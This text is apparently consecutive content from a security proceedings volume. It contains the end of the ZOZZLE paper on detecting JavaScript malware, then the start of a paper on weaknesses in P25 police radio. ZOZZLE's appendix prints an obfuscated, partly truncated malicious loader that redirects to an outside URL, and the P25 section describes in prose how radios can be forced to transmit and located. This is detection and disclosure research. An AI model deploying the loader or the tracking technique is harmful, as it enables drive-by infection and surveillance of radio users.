be sent, similarly to updating signatures in an anti-virus
product. Note that our detector is designed in a way that
can be tightly integrated into the JavaScript parser, mak-
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Figure 17: In-browser ZOZZLE deployment: workflow.

ing malware “scoring” part of the overall parsing pro-
cess; the only thing that needs to be maintained as the
parse tree (AST) is being constructed is the set of match-
ing features. This, we believe, will make the incremental
overhead of ZOZZLE processing even lower than it is now.

Another way to deploy ZOZZLE is as a filter for a more
heavy-weight technique such as NOZZLE or some form
of control- or dataflow integrity [1, 5]. As such, the ex-
pected end-user overhead will be very low, because both
the detection rate of ZOZZLE and the rate of false posi-
tives is very low; we assume if an attack is prevented, the
user will not object to additional overhead in that case.

Finally, ZOZZLE is suitable for offline scanning, ei-
ther in the case of dynamic web crawling using a web
browser, or in the context or purely static scanning that
exposes some part of the JavaScript code to the scanner.

7 Related Work

Several recent papers focusing on static detection tech-
niques for malware, specifically implemented in Java-
Script. None of the existing techniques propose integrat-
ing malware classification with JavaScript execution in
the context of a browser, as ZOZZLE does.

7.1 Closely-related Malware Detection Work

A quantitative comparison with closely related tech-
niques is presented in Figure 18. It shows that ZOZZLE is
heavily optimized for an extremely low rate of false pos-
itives — about one in quarter million — with the closest
second being CUJO [22] with six times as many false
positives.

ZOZZLE is generally faster than other tools, since the
only runtime activity it performs is capturing JavaScript

Project Citation FP rate FN rate Static Dynamic

ZOZZLE 3.1E-6 9.2E-2 � -3

JSAND [6] 1.3E-5 2E-3 � �

Prophiler [4] 9.8E-2 7.7E-3 � �

CUJO [22] 2.0E-5 5.6E-2 � �

Figure 18: Quantitative comparison to closely related work.

code. In its purely static mode, Cujo is also potentially
quite fast, with running times ranging from .01 to 10 ms
per URL, however, our rates are not directly comparable
because URLs and code contexts are not one-to-one.

Canali et al. [4] present Prophiler, a lightweight static
filter for malware. It combines HTML-, JavaScript-, and
URL-based features into one classifier that quickly fil-
ters non-malicious pages so that malicious pages can be
examined more extensively. While their approach has
elements in common with ZOZZLE, there are also dif-
ferences. First, ZOZZLE focuses on classifying pages
based on unobfuscated JavaScript code by hooking into
the JavaScript engine entry point, whereas Prophiler ex-
tracts its features from the obfuscated code. Second,
ZOZZLE automatically extracts hierarchical features from
the AST, whereas Prophiler relies on a variety of sta-
tistical and lexical hand-picked features present in the
HTML and JavaScript. Third, the emphasis of ZOZZLE

is on very low false positive rates, whereas Prophiler, be-
cause it is intended as a fast filter, allows higher false
positive rates in order to reduce the false negative rate.

Rieck et al. [22] describe Cujo, an system that com-
bines static and dynamic features in a classifier frame-
work based on support vector machines. They pre-
process the source code into tokens and pass groups of
tokens (Q-grams) to automatically extract Q-grams that
are predictive of malicious intent. Unlike ZOZZLE, Cujo
is proxy-based and uses JavaScript emulation instead of
hooking into the JavaScript runtime in a browser. This
emulation adds runtime overhead, but allows Cujo to use
static as well as dynamic Q-grams in their classification.
ZOZZLE differs from Cujo in that it uses the existing Java-
Script runtime engine to unfold JavaScript contexts with-
out requiring emulation reducing the overhead.

Similarly, Cova et al. present a system JSAND that
conducts classification based on static and dynamic fea-
tures [6]. In JSAND, potentially malicious JavaScript is
emulated to determine runtime characteristics around de-
obfuscation, environment preparation, and exploitation,
such as the number of bytes allocated through string op-
erations. These features are trained and evaluated with
known good and bad URLs. Like Cujo, JSAND uses em-
ulation to combine a collection of static and dynamic
features in their classification, as compared to ZOZZLE,

3The only part of ZOZZLE that requires dynamic intervention is
unfolding.
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which extracts only static features automatically. Also,
because ZOZZLE leverages the existing JavaScript en-
gine unfolding process, JSAND performance is signifi-
cantly slower than ZOZZLE.

7.2 Other Projects

Karanth et al. identify malicious JavaScript using a
classifier based on hand-picked features present in the
code [14]. Like us, they use known malicious and be-
nign JavaScript files and train a classifier based on fea-
tures present. They show that their technique can detect
malicious JavaScript with high accuracy and they were
able to detect a previously unknown zero-day vulnerabil-
ity. Unlike our work, they do not integrate their classifier
into the JavaScript engine, and so do not see the unfolded
JavaScript as we do.

High-interaction client honeypots have been at the
forefront of research on drive-by-download attacks.
Since they were first introduced in 2005, various stud-
ies have been published [15, 20, 25, 30–32]. High-
interaction client honeypots drive a vulnerable browser
to interact with potentially malicious web page and mon-
itor the system for unauthorized state changes, such as
new processes being created. The detection of drive-by-
download attacks can also occur through the analysis of
the content retrieved from the web server. When cap-
tured at the network layer or through a static crawler,
the content of malicious web pages is usually highly
obfuscated opening the door to static feature based
exploit detection [10, 20, 24, 27, 28]. While these ap-
proaches, among others, consider static JavaScript fea-
tures, ZOZZLE is the first to utilize hierarchical features
extracted from ASTs.

Besides static features focusing on HTML and Java-
Script, shellcode injection exploits also offer points for
detection. Existing techniques such as Snort [23] use
pattern matching to identify attacks in a database. Poly-
morphic attacks that vary shellcode on each exploit at-
tempt can avoid pattern-based detection unless improb-
able properties of shellcode are used to detect such at-
tacks, as in Polygraph [17]. Like ZOZZLE, Polygraph uti-
lizes a naı̈ve bayes classifier, but only applies it to the
detection of shellcode.

Abstract Payload Execution (APE) by Toth and
Kruegel [29], STRIDE by Akritidis et al. [2, 18], and
NOZZLE by Ratanaworabhan, Livshits and Zorn [21] all
focus on analysis of the shellcode and NOP sled used by
a heap spraying attack. Such techniques can detect heap
sprays with low false positive rates, but incur higher run-
time overhead than is acceptable for always-on deploy-
ment in a browser (10-15% is farily common).

Dynamic features have been the focus of several
groups. Nazario, Buescher, and Song propose systems

that detect attacks on scriptable ActiveX components [3,
16, 26]. They capture JavaScript interactions and use
vulnerability specific signatures to detect attacks. This
method is effective in detecting attacks due to the rela-
tive homogeneous characteristic of the attack landscape.
However, while they are effective in detecting known ex-
isting attacks on ActiveX components, they fail to iden-
tify attacks that do not involve ActiveX components,
which ZOZZLE is able to detect.

8 Conclusions

This paper presents ZOZZLE, a highly precise, mostly
static detector for malware written in JavaScript. ZOZZLE

is a versatile technology that is suitable for deployment
in a commercial browser, staged with a more costly run-
time detector like NOZZLE. Designing an effective in-
browser malware detector requires overcoming techni-
cal challenges that include achieving high performance,
generating precise results, and overcoming attempts at
obfuscating attacks. Much of the novelty of ZOZZLE

comes from its hooking into the the JavaScript engine
of a browser to get the final, expanded version of Java-
Script code to address the issue of deobfuscation. Com-
pared to other classifier-based tools, ZOZZLE uses contex-
tual information available in the program abstract syntax
tree (AST) to perform fast, scalable, yet precise malware
detection.

This paper contains an extensive evaluation of our
techniques. We evaluated ZOZZLE in terms of perfor-
mance and malware detection rates (both false posi-
tives and false negatives) using over 1.2 million pre-
categorized code samples. ZOZZLE has an extremely low
false positive rate of 0.0003%, which is less than one in
a quarter million. Despite this high accuracy, the ZOZZLE

classifier is fast, with a throughput at over one megabyte
of JavaScript code per second.
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A fast filter for the large-scale detection of malicious web
pages. In Proceedings of the International World Wide
Web Conference, Mar. 2011.

[5] M. Castro, M. Costa, and T. Harris. Securing software
by enforcing data-flow integrity. In Proceedings of the
Symposium on Operating Systems Design and Implemen-
tation, 2006.
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Shellcode obfuscation strategy Spray CVE

unescape � 2009-0075

unescape � 2009-1136

unescape � 2010-0806

unescape � 2010-0806

none � 2010-0806

hex, unescape � none

replace, unescape � none

unescape � 2009-1136

replace, hex, unescape � 2010-0249

custom, unescape � 2010-0806

unescape � none

replace, array � 2010-0249

unescape � none

unescape � 2009-1136

replace, unescape � none

replace, unescape � none

unescape � 2010-0249

unescape � 2010-0806

hex, unescape � 2008-0015

unescape � none

replace, unescape � none

unescape, array � 2010-0249

replace, unescape � 2010-0806

replace, unescape � 2010-0806

replace, unescape � none

replace, unescape � none

Figure 19: Malware samples dissected and categorized.
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Figure 20: Classification accuracy as a function of training set size for
hand-picked and automatically selected features.

A Hand-Analyzed Samples

In the process of training the ZOZZLE classifier, we hand-
analyzed a number of malware samples. While there is a
great deal of duplication, there is a diversity of malware
writing strategies found in the wild.

Figure 19 provides additional details about each
unique hand-analyzed sample. Common Vulnerabilities
and Exposures (CVEs) are assigned when new vulnera-

bilities are discovered and verified, and these identifiers
are listed for all the exploits in Figure 19 that target some
vulnerability. Shellcode and nopsled type describe the
method by which JavaScript or HTML values are con-
verted to the binary data that is sprayed throughout the
heap. Most shellcode and nopsleds are written as hex-
adecimal literals using the \x escape sequence. These
cases are denoted by “hex” in Figure 19.

Many scripts use the %u encoding and are converted
to binary data with the JavaScript unescape function. Fi-
nally, some samples include short fragments inserted re-
peatedly (such as the string CUTE, which appears in sev-
eral examples) that are removed or replaced by a call to
the JavaScript replace function.

In a few cases, the exploit sample does not contain
one or more of the components of a heap spray attack
(shellcode, spray, and vulnerability). In these cases, the
script is delivered with one or more of the other samples
for which it may provide shellcode, perform a spray, or
trigger a vulnerability.

B Additional Experimental Data

Training set size: To understand the impact of training
set size on accuracy and false positive/negative rates, we
trained classifiers using between 1% and 25% of our be-
nign and malicious datasets. For each training set size,
ten classifiers were trained using different randomly se-
lected subsets of the dataset for both hand-picked and au-
tomatic features. These classifiers were evaluated with
respect to overall accuracy in Figure 20 and false posi-
tives/negatives in Figure 21a.

The figures show that training set size does have an
impact on the overall accuracy and error rates, but that
a relative small training set (< 5% of the overall data
set) is sufficent to realize most of the benefit. The false
positive negative rate using automatic feature selection
benefits the most from additional training data, which is
explained by the fact that this classifier has many more
features and benefits from more examples to fully train.

Feature set size: To understand the impact of feature set
size on classifier effectiveness, we trained the 1-level au-
tomatic classifier, sorted the selected features by their χ2

value, and picked only the top N features. For this ex-
periment (due to the fact that the training set used is ran-
domly selected), there were a total of 1,364 features orig-
inally selected during automatic selection.

Figure 21b shows how the false positive and false neg-
ative rates vary as we change the size of the feature set to
contain 500, 300, 100, and 30 features, respectively.

The figures show that the false positive rate remains
low (and drops to 0 in some cases) as we vary the feature
set size. Unfortunately, the false negative rate increases
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Figure 21: False positive and false negative rates.

function dF(s)
{

var s1 = unescape(s.substr(0,s.length - 1)),
t = "";

for(i = 0; i < s1.length; i++)
t += String.fromCharCode(

s1.charCodeAt(i) -
s.substr(s.length - 1,1));

document.write(unescape(t))
}

Figure 22: Code unpacker detected by anti-virus tools.

steadily with smaller feature set sizes. The implication
is that while a small number of features can effectively
identify some malware (probably the most commonly
observed malware), many of the most obscure malware
samples will remain undetected if the feature set is too
small.

C Additional Code Samples

Figure 22 shows a code unpacker that is incorrectly
flagged by overly eager anti-virus engines. Of course,
the unpacker code itself is not malicious, even though the
contents it may unpack could be malicious. Finally, Fig-
ure 23 shows an example of code that anti-virus engines
overeagerly deem as malicious.

document.write(unescape(’%3C%73%63...’));
dF(’%264Dtdsjqu%264Fepdvnfou/xsjuf%2639
%2633%264Dtdsjqu%2631tsd%264E%266D%2633%2633
%2C%2633iuuq%264B00jutbmmcsfbltpgu/ofu0uet0jo/
dhj%264G3%2637tfpsfg%264E%2633
%2CfodpefVSJDpnqpofou%2639epdvnfou/sfgfssfs
%263%3A%2C%2633%2637qbsbnfufs%264E
%2635lfzxpse%2637tf%264E%2635tf%2637vs
%264E2%2637IUUQ%60SFGFSFS%264E%2633%2C
%2631fodpefVSJDpnqpofou%2639epdvnfou/VSM
%263%3A%2C%2633%2637efgbvmu%60lfzxpse
%264Eopuefgjof%2633%2C%2633%266D%2633
%264F%264D%266D0tdsjqu%264F%2633%263%3A
%264C%264D0tdsjqu%264F%261B%264Dtdsjqu%264F
%261Bjg%2639uzqfpg%2639i%263%3A%264E
%264E%2633voefgjofe%2633%263%3A%268C%261
%3A%261B%261%3Aepdvnfou/xsjuf%2639%2633
%264Djgsbnf%2631tsd%264E%2638iuuq
%264B00jutbmmcsfbltpgu/ofu0uet0jo/dhj%264G4
%2637tfpsfg%264E%2633%2CfodpefVSJDpnqpofou
%2639epdvnfou/sfgfssfs%263%3A%2C%2633
%2637qbsbnfufs%264E%2635lfzxpse%2637tf
%264E%2635tf%2637vs%264E2%2637IUUQ%60SFGFSFS
%264E%2633%2C%2631fodpefVSJDpnqpofou
%2639epdvnfou/VSM%263%3A%2C%2633%2637efgbvmu
%60lfzxpse%264Eopuefgjof%2638%2631xjeui
%264E2%2631ifjhiu%264E2%2631cpsefs%264E1
%2631gsbnfcpsefs%264E1%264F%264D0jgsbnf
%264F%2633%263%3A%264C%2631%261B%268E%261Bfmtf
%2631jg%2639i/joefyPg%2639%2633iuuq
%264B%2633%263%3A%264E%264E1%263%3A%268C%261B%261
%3A%261%3Axjoepx/mpdbujpo%264Ei%264C%261B
%268E%261B%264D0tdsjqu%264F1’)

Figure 23: Anti-virus false positive. A portion of the file after
unescape is removed to avoid triggering AV on the final PDF of this
paper.
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APCO Project 25 (“P25”) is a suite of wireless com-
munications protocols used in the US and elsewhere for
public safety two-way (voice) radio systems. The proto-
cols include security options in which voice and data traf-
fic can be cryptographically protected from eavesdrop-
ping. This paper analyzes the security of P25 systems
against both passive and active adversaries. We found a
number of protocol, implementation, and user interface
weaknesses that routinely leak information to a passive
eavesdropper or that permit highly efficient and difficult
to detect active attacks. We introduce new selective sub-
frame jamming attacks against P25, in which an active
attacker with very modest resources can prevent specific
kinds of traffic (such as encrypted messages) from be-
ing received, while emitting only a small fraction of the
aggregate power of the legitimate transmitter. We also
found that even the passive attacks represent a serious
practical threat. In a study we conducted over a two year
period in several US metropolitan areas, we found that
a significant fraction of the “encrypted” P25 tactical ra-
dio traffic sent by federal law enforcement surveillance
operatives is actually sent in the clear, in spite of their
users’ belief that they are encrypted, and often reveals
such sensitive data as the names of informants in crimi-
nal investigations.

1 Introduction

APCO Project 25 [16] (also called “P25”) is a suite of
digital protocols and standards designed for use in nar-
rowband short-range (VHF and UHF) land-mobile wire-
less two-way communications systems. The system is
intended primarily for use by public safety and other gov-
ernment users.

The P25 protocols are designed by an international
consortium of vendors and users (centered in the United

States), coordinated by the Association of Public Safety
Communications Officers (APCO) and with its standards
documents published by the Telecommunications Indus-
try Association (TIA). Work on the protocols started in
1989, with new protocol features continuing to be refined
and standardized on an ongoing basis.

The P25 protocols support both digital voice and low
bit-rate data messaging, and are designed to operate in
stand-alone short range “point-to-point” configurations
or with the aid of infrastructure such as repeaters that
can cover larger metropolitan and regional areas.

P25 supports a number of security features, including
optional encryption of voice and data, based on either
manual keying of mobile stations or “over the air” rekey-
ing (“OTAR” [15]) through a key distribution center.

In this paper, we examine the security of the P25
(and common implementations of it) against unautho-
rized eavesdropping, passive and active traffic analysis,
and denial-of-service through selective jamming.

This paper has three main contributions: First, we
give an (informal) analysis of the P25 security protocols
and standard implementations. We identify a number of
limitations and weaknesses of the security properties of
the protocol against various adversaries as well as am-
biguities in the standard usage model and user interface
that make ostensibly encrypted traffic vulnerable to unin-
tended and undetected transmission of cleartext. We also
discovered an implementation error, apparently common
to virtually every current P25 product, that leaks station
identification information in the clear even when in en-
crypted mode.

Next, we describe a range of practical active attacks
against the P25 protocols that can selectively deny ser-
vice or leak location information about users. In partic-
ular, we introduce a new active denial-of-service attack,
selective subframe jamming, that requires more than an
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order of magnitude less average power to effectively jam
P25 traffic than the analog systems they are intended to
replace. These attacks, which are difficult for the end-
user to identify, can be targeted against encrypted traffic
(thereby forcing the users to disable encryption), or can
be used to deny service altogether. The attack can be
implemented in very simple and inexpensive hardware.
We implemented a complete receiver and exciter for an
effective P25 jammer by installing custom firmware in a
$15 toy “instant messenger” device marketed to pre-teen
children.

Finally, we show that unintended transmission of
cleartext commonly occurs in practice, even among
trained users engaging in sensitive communication. We
analyzed the over-the-air P25 traffic from the secure
two-way radio systems used by federal law enforcement
agencies in several metropolitan areas over a two year
period and found that a significant fraction of highly sen-
sitive “encrypted” communication is actually sent in the
clear, without detection by the users.

2 P25 Overview

P25 systems are intended as an evolutionary replace-
ment for the two-way radio systems used by local public
safety agencies and national law enforcement and intel-
ligence services. Historically, these systems have used
analog narrowband FM modulation. Users (or their ve-
hicles) typically carry mobile transceivers1 that receive
voice communications from other users, with all radios
in a group monitoring a common broadcast channel. P25
was designed to be deployed without significant change
to the user experience, radio channel assignments, spec-
trum bandwidth used, or network topology of the legacy
analog two-way radio systems they replace, but adding
several features made possible by the use of digital mod-
ulation, such as encryption.

Mobile stations (in both P25 and legacy analog) are
equipped with “Push-To-Talk” buttons; the systems are
half duplex, with at most one user transmitting on a given
channel at a time. The radios typically either constantly
receive on a single assigned channel or scan among mul-
tiple channels. P25 radios can be configured to mute re-
ceived traffic not intended for them, and will ignore re-
ceived encrypted traffic for which a correct decryption
key is not available.

P25 mobile terminal and infrastructure equipment is
manufactured and marketed in the United States by

1Various radio models are designed be installed permanently in ve-
hicles or carried as portable battery-powered “walkie-talkies”.

Figure 1: Motorola XTS5000 Handheld P25 Radio

a number of vendors, including E.F. Johnson, Har-
ris, Icom, Motorola, RELM Wireless and Thales/Racal,
among others. The P25 standards employ a number of
patented technologies, including the voice codec, called
IMBE [17]. Cross-licensing of patents and other tech-
nology is standard practice among the P25 equipment
vendors, resulting in various features and implementa-
tion details common among equipment produced by dif-
ferent manufacturers. Motorola is perhaps the dominant
U.S. vendor, and in this paper, we use Motorola’s P25
product line to illustrate features, user interfaces, and at-
tack scenarios. A typical P25 handheld radio is shown in
Figure 1.

For compatibility with existing analog FM based ra-
dio systems and for consistency with current radio spec-
trum allocation practices, P25 radios use discrete narrow-
band radio channels (and not the spread spectrum tech-
niques normally associated with digital wireless commu-
nication).

Current P25 radio channels occupy a standard 12.5
KHz “slot” of bandwidth in the VHF or UHF land mo-
bile radio spectrum. P25 uses the same channel alloca-
tions as existing legacy narrowband analog FM two-way
radios. To facilitate a gradual transition to the system,
P25-compliant radios must be capable of demodulating
legacy analog transmissions, though legacy analog radios
cannot, of course, demodulate P25 transmissions.

In the current P25 digital modulation scheme, called
C4FM, the 12.5kHz channel is used to transmit a four-
level signal, sending two bits with each symbol at a
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rate of 4800 symbols per second, for a total bit rate of
9600bps.2

P25 radio systems can be configured for three differ-
ent network topologies, depending on varying degrees of
infrastructural support in the area of coverage:

• Simplex configuration: All group members set
transmitters and receiver to receive and broadcast on
the same frequency. The range of a simplex system
is the area over which each station’s transmissions
can be received directly by the other stations, which
is limited by terrain, power level, and interference
from co-channel users.

• Repeater operation: Mobile stations transmit on one
frequency to a fixed-location repeater, which in turn
retransmits communications on a second frequency
received by all the mobiles in a group. Repeater
configurations thus use two frequencies per chan-
nel. The repeater typically possesses both an advan-
tageous geographical location and access to electri-
cal power. Repeaters extend the effective range of
a system by rebroadcasting mobile transmissions at
higher power and from a greater height

• Trunking: Mobile stations transmit and receive on a
variety of frequencies as orchestrated by a “control
channel” supported by a network of base stations.
By dynamically allocating transmit and receive fre-
quencies from among a set of allocated channels,
scarce radio bandwidth may be effectively time
and frequency domain multiplexed among multiple
groups of users.

For simplicity, this paper focuses chiefly on weak-
nesses and attacks that apply to all three configurations.

As P25 is a digital protocol, it is technically straight-
forward to encrypt voice and data traffic, something that
was far more difficult in the analog domain systems it
is designed to replace. However, P25 encryption is an
optional feature, and even radios equipped for encryp-
tion still have the capability to operate in the clear mode.
Keys may be manually loaded into mobile units or may
be updated at intervals using the OTAR protocol.

P25 also provides for a low-bandwidth data stream
that piggybacks atop voice communications, and for a
higher bandwidth data transmission mode in which data

2This 12.5 KHz “Phase 1” modulation scheme is designed to co-
exist with analog legacy systems. P25 also specifies a quadrature phase
shift keying and TDMA and FMDA schemes that uses only 6.25kHz of
spectrum. These P25 “Phase 2” modulation systems have not yet been
widely deployed, but in any case do not affect the security analysis in
this paper.

is sent independent of voice. (It is this facility which en-
ables the OTAR protocol, as well as attacks we describe
below to actively locate mobile users.)

2.1 The P25 Protocols

This section is a brief overview of the most salient fea-
tures of the P25 protocols relevant to rest of this paper.
The P25 protocols are quite complex, and the reader is
urged to consult the standards themselves for a complete
description of the various data formats, options, and mes-
sage flows. An excellent overview of the most important
P25 protocol features can be found in reference [6].

The P25 Phase 1 (the currently deployed version) RF-
layer protocol uses a four level code over a 12.5kHz
channel, sending two bits per transmitted symbol at 4800
symbols per second or 9600 bits per second.

A typical transmission consists of a series of frames,
transmitted back-to-back in sequence. The start of each
frame is identified by a special 24 symbol (48 bit) frame
synchronization pattern.

This is immediately followed by a 64 bit field contain-
ing 16 bits of information and 48 bits of error correction.
12 bits, the NAC field, identify the network on which the
message is being sent – a radio remains muted unless
a received transmission contains the correct NAC, which
prevents unintended interference by distinct networks us-
ing the same set of frequencies. 4 bits, the DUID field,
identify the type of the frame. Either a voice header,
a voice superframe, a voice trailer, a data packet, or a
trunked frame. All frames but the packet data frames are
of fixed length.

Header frames contain a 16 bit field designating the
destination talk group TGID for which a transmission is
intended. This permits radios to mute transmissions not
intended for them. The header also contains information
for use in encrypted communications, specifically an ini-
tialization vector (designated the Message Indicator or
MI in P25, which is 72 bits wide but effectively only 64
bits), an eight bit Algorithm ID, and a 16 bit Key ID.
Transmissions in the clear set these fields to all zeros.
This information is also accompanied by a large number
of error correction bits.

The actual audio payload, encoded as IMBE voice
subframes, is sent inside Link Data Units (LDUs). A
voice LDU contains a header followed by a sequence of
nine 144 bit IMBE voice subframes (each of which en-
codes 20ms of audio, for a total 180ms of encoded au-
dio in each LDU frame), plus additional metadata and
a small amount of piggybacked low speed data. Each
LDU, including headers, metadata, voice subframes, and
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At least for unclassified Type 2, 3 and 4 cryptography,
pre-shared symmetric keys are used for all traffic encryp-
tion. The system requires a key table located in each
radio mapping unique Key ID+Algorithm ID tuples to
particular symmetric cipher keys stored within the unit.
This table may be keyed manually or with the use of an
Over The Air Rekeying protocol. A group of radios can
communicate in encrypted mode only if all radios share
a common key (labeled with the same Key ID).

Many message frame types contain a tuple consisting
of an initialization vector (the MI), a Key ID and an Al-
gorithm ID. A clear transmission is indicated by a zero
MI and KID and a special ALGID. The key used by a
given radio group may thus change from message to mes-
sage and even from frame to frame (some frames may be
sent encrypted while others are sent in the clear).

Because of the above-described property of the error
correction mechanisms used, especially in voice frames
such as the LDU1 and LDU2 frame types, there is no
mechanism to detect errors in certain portions of trans-
mitted frames. This was a deliberate design choice, to
permit undetected corruption of portions of the frame
that are less important for intelligibility.

This error-tolerant design means that standard block
cipher modes (such as Cipher Block Chaining) cannot be
used for voice encryption; block ciphers require the ac-
curate reception of an entire block in order for any por-
tion of the block to be correctly decrypted. P25 voice
encryption is specified stream ciphers, in which a cryp-
tographic keystream generator produces a pseudorandom
bit sequence that is XORd with the data stream to encrypt
(on the transmit side) and decrypt (on the receive side).
In order to permit conventional block ciphers (including
DES and AES) to be used as stream ciphers, they are run
in Output Feedback mode (“OFB”)) in order to gener-
ate a keystream. (Some native stream ciphers, such as
RC4, have also been implemented by some manufactur-
ers, particularly for use in export radios that limited to
short key lengths.)

For the same reason – received frames must tolerate
the presence of some bit errors – cryptographic message
authentication codes (“MACs”), which fail if any bit er-
rors whatsoever are present, are not used.3

3 Security Deficiencies

In the previous section, we described a highly ad hoc,
constrained architecture that, we note, departs in signif-

3Some vendors support AES in GCM mode, but it is not standard-
ized. In any case, even when GCM mode is used, it does not authenti-
cate the voice traffic as originating with a particular user.

icant ways from conservative security design, does not
provide clean separation of layers, and lacks a clearly
stated set of requirements against which it can be tested.

This is true even in portions of the architecture, such
as the packet data frame subsystem, which are at least in
theory compatible with well understood standard crypto-
graphic protocols, such as those based on block ciphers
and MACs.

This ad hoc design might by itself represent a security
concern. In fact, the design introduces significant certifi-
cational weaknesses in the cryptographic protection pro-
vided.

But such weaknesses do not, in and of themselves,
automatically result in exploitable vulnerabilities. How-
ever, they weaken and complicate the guarantees that can
be made to higher layers of the system. Given the over-
all complexity of the P25 protocol suite, and especially
given the reliance of upper layers such as the OTAR sub-
system on the behavior of lower layers, such deficiencies
make the security of the overall system much harder for
a defender to analyze.

The P25 implementation and user interfaces, too, suf-
fer from an ad hoc design that, we shall see, does not fare
well against an adversarial threat. There is no evidence in
the standards documents, product literature, or other doc-
umentation of user interface or usability requirements, or
of testing procedures such as “red team” exercises or user
behavior studies.

As we shall see later in this paper, taken in combina-
tion, the design weaknesses of the P25 security architec-
ture and the standard implementations of it admit practi-
cal, exploitable vulnerabilities that routinely leak sensi-
tive traffic and that allow an active attacker remarkable
leverage.

At the root of many of the most important practical
vulnerabilities in P25 systems are a number of funda-
mentally weak cryptographic, security protocol, and cod-
ing design choices.

3.1 Authentication and Error Correction

A well known weakness of stream ciphers is that attack-
ers who know the plaintext content of any encrypted por-
tion of transmission may make arbitrary changes to that
content at will simply by flipping appropriate bits in the
data stream. For this reason, it is usually recommended
that stream ciphers be used in conjunction with MACs.
But the same design decision (error tolerance) that forced
the use of stream ciphers in P25 also precludes the use of
MACs.

Because no MACs are employed on voice and most
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other traffic, even in encrypted mode, it is trivial for an
adversary to masquerade as a legitimate user, to inject
false voice traffic, and to replay captured traffic, even
when all radios in a system have encryption configured
and enabled.

The ability for an adversary to inject false traffic with-
out detection is, of course, a fundamental weakness by it-
self, but also something that can serve as a stepping stone
to more sophisticated attacks (as we shall see later).

A related issue is that because the P25 voice mode is
real time, it relies entirely on error correction (rather than
detection and retransmission) for integrity. The error cor-
rection scheme in the P25 frame is highly optimized for
the various kinds of content in the frame. In particular,
a single error correcting code is not used across the en-
tire frame. Instead, different sections of P25 frames are
error corrected in independent ways, with separate codes
providing error correction for relatively small individual
portions of the data stream. This design leaves the frames
vulnerable to highly efficient active jamming attacks that
target small-but-critical subframes, as we will see in Sec-
tion 4.

3.2 Unencrypted Metadata

Even when encryption is used, much of the basic meta-
data that identifies the systems, talk groups, sender and
receiver user IDs, and message types of transmissions are
sent in the clear and are directly available to a passive
eavesdropper for traffic analysis and to facilitate other
attacks. While some of these fields can be optionally en-
crypted (the use of encryption is not tied to whether voice
encryption is enabled), others must always be sent in the
clear due to the basic architecture of P25 networks.

For example, the start of every frame of every trans-
mission includes a Network Identifier (“NID”) field that
contains the 12 bit Network Access Code (NAC) and the
4 bit frame type (“Data Unit ID”). The NAC code ident-
fies the network on which the transmission is being sent;
on frequencies that carry traffic from multiple networks,
it effectively identifies the organization or agency from
which a transmission originated. The Data Unit ID iden-
tifies the type of traffic, voice, packet data, etc. Several
aspects of the P25 architecture requires that the NID be
sent in the clear. For example, repeaters and other infras-
tructure (which do not have access to keying material)
use it to control the processing of the traffic they receive.
The effect is that the NAC and type of transmission is
available to a passive adversary on every transmission.

For voice traffic, a Link Control Word (“LCW”) is in-
cluded in every other LDU voice frame (specifically, in

the LDU1 frames). The LCW includes the transmitter’s
unique unit ID (somewhat confusingly called the “Link
IDs” in various places in the standard). The ID fields in
the LCW can be optionally encrypted, but whether they
are actually encrypted is not intrinsically tied to whether
encryption is enabled for the voice content itself (rather
it is indicated by a “protected” bit flag in the LCW).

Worse, we discovered a widely deployed implementa-
tion error that exacerbates the unit ID information leaked
in the LCW. We examined the transmitted bitstream gen-
erated by Motorola P25 radios in our laboratory, and also
the over-the-air tactical P25 traffic on the frequencies
used by Federal law enforcement agencies in several US
metropolitan areas (captured over a period of more than
one year)

We found that in every P25 transmission we captured,
both in P25 transmissions sent from our equipment and
from encrypted traffic we intercepted over the air, the
LCW protection bit is never set; the option to encrypt
the LCW does not appear ever to be enabled, even when
the voice traffic itself is encrypted. That is, in both Mo-
torola’s XTS5000 product and, apparently, in virtually
every other P25 radio in current use by the Federal gov-
ernment, the sender’s Unit Link ID is always sent in the
clear, even for encrypted traffic. This, of course, greatly
facilitates traffic analysis of encrypted networks by a pas-
sive adversary, who can simply record the unique identi-
fiers of each transmission as it comes in. It also simplifies
certain active attacks we discuss in the section below.

3.3 Traffic Analysis and Active Location
Tracking

Generally, a radio’s location may be tracked only if
it is actively transmitting. Standard direction find-
ing techniques can locate a transmitting radio relatively
quickly [12, 10]. P25 provides a convenient means for
an attacker to induce otherwise silent radios to transmit,
permitting active continuous tracking of a radio’s user.

The P25 protocol includes a data packet transmission
subsystem (this is separate from the streaming real-time
digital voice mode we have been discussing). P25 data
packets may be sent in either an unconfirmed mode, in
which retransmission in the event of errors is handled by
a higher layer of the protocol, or in confirmed mode, in
which the destination radio must acknowledge successful
reception of a data frame or request that it be retransmit-
ted.

If the Unit Link IDs used by a target group are already
known to an adversary, she may periodically direct in-
tentionally corrupted data frames to each member of the
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group. Only the header CRCs need check cleanly for a
data frame to be replied to – the rest of the packet can
be (intentionally) corrupt. Upon receiving a corrupt data
transmission directed to it, the target radio will immedi-
ately reply over the air with a retransmission request. (It
is unlikely that such corrupted data frames will be no-
ticed, especially since the corrupt frames are rejected be-
fore being passed to the higher layers in the radio’s soft-
ware responsible for performing decryption and display-
ing messages on the user interface). The reply transmis-
sion thus acts as an oracle for the target radio that not
only confirms its presence, but that can be used for di-
rection finding to identify its precise location.

While we are unaware of any P25 implementations
that refuse to respond to a data frame that is not prop-
erly encrypted, even if encryption is enabled and a ra-
dio refuses to pass unencrypted frames to higher level
firmware, the attacker may easily construct a forged but
valid encryption auxiliary header simply by capturing le-
gitimate traffic and inserting a stolen encryption header.
This is possible because the protocol is optimized to re-
cover from interference and transmission errors. Upon
receiving a damaged packet – whether generated by an
attacker or corrupted from natural causes – the target ra-
dio sends a message to request retransmission. This has
the effect of allowing an active adversary to use the data
protocol as an oracle for a given radio’s presence. It also
allows an adversary to force a target radio to transmit on
command, allowing direction finding on demand.

If the target radios’ Unit Link IDs are for some reason
unknown to the attacker, she may straightforwardly at-
tempt a “wardialing” attack in which she systematically
guesses Unit Link IDs and sends out requests for replies,
taking note of which ID numbers respond. However, in
a trunked system or a system using Over the Air Rekey-
ing, or in a system where members of the radio group
occasionally transmit voice in the clear, Link IDs will be
readily available without resorting to wardialing in this
manner.

With this technique, an adversary can easily “turn the
tables” on covert users of P25 mobile devices, effectively
converting their radios into location tracking beacons.

3.4 Clear Traffic Always Accepted

All models of P25 radios of which we are aware will
receive any traffic sent in the clear even when they are
in encrypted mode. There is no configuration option to
reject or mute clear traffic. While this may have some
benefit to ensure interoperability in emergencies, it also
means that a user who mistakenly places the “secure”

Figure 4: Motorola KVL3000 Keyloader with XTS5000
Radio

switch in the “clear” position is unlikely to detect the
error.

